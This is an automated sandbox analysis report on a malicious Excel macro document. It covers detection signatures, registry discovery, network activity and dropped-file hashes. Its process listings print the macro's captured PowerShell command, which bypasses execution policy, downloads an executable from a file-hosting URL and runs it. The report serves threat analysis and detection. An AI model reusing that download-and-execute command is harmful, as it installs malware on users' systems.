Malware Analysis Report

2025-03-15 07:55

Sample ID 240805-z437wssdng
Target d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916
SHA256 d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916

Threat Level: Known bad

The file d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Blocklisted process makes network request

Office macro that triggers on suspicious action

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-05 21:17

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-05 21:17

Reported

2024-08-05 21:18

Platform

win7-20240729-en

Max time kernel

23s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

Network

N/A

Files

memory/2188-1-0x00000000720DD000-0x00000000720E8000-memory.dmp

memory/2188-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2188-3-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2188-4-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2188-2-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2188-7-0x00000000720DD000-0x00000000720E8000-memory.dmp

memory/2188-8-0x0000000000450000-0x0000000000550000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-05 21:17

Reported

2024-08-05 21:18

Platform

win10v2004-20240802-en

Max time kernel

47s

Max time network

38s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 gofile.io udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
FR 51.38.43.18:443 gofile.io tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 18.43.38.51.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 14.179.89.13.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp

Files

memory/1468-0-0x00007FF923350000-0x00007FF923360000-memory.dmp

memory/1468-2-0x00007FF923350000-0x00007FF923360000-memory.dmp

memory/1468-1-0x00007FF923350000-0x00007FF923360000-memory.dmp

memory/1468-3-0x00007FF923350000-0x00007FF923360000-memory.dmp

memory/1468-4-0x00007FF923350000-0x00007FF923360000-memory.dmp

memory/1468-5-0x00007FF96336D000-0x00007FF96336E000-memory.dmp

memory/1468-9-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-10-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-8-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-11-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-12-0x00007FF920A20000-0x00007FF920A30000-memory.dmp

memory/1468-7-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-6-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-13-0x00007FF920A20000-0x00007FF920A30000-memory.dmp

memory/1468-14-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-16-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-15-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-19-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-18-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-17-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-29-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-28-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktrzfcmb.p3e.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1640-35-0x000001B4D24D0000-0x000001B4D24F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\file.exe

MD5 2c90c89565e8b97ff3357046451f6ad2
SHA1 a4d804006898694914846598e87d1da86c0ab2af
SHA256 cca2b803b3a9607ca273bd358daa7679d028e4cee40030677b2ee9905222f9cd
SHA512 742e6a7c01710b6133f6dcafad5b6c6ef2c31799f37ab353631f07695fdd2542daf9fc6ba9798bc795825d1a4f976296c504d19d74602f2aac481d988d8a1bba

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 9b79475947992abfcfd21e99a5d9f097
SHA1 d001493ba7a746e736ff6454e3b29107682aa003
SHA256 1bf45c407e549684f68c2cdd657ca668e6f2ad573ddab533a88ee424430308ff
SHA512 93378f342592fed558af716545df06ab85b6e96f6897eee350d5a201a4c8c402186af4f2b656288dbe83fea153de204258fa4b72201d94ad1c2f71019305cd7a

memory/1468-59-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-60-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp

memory/1468-61-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp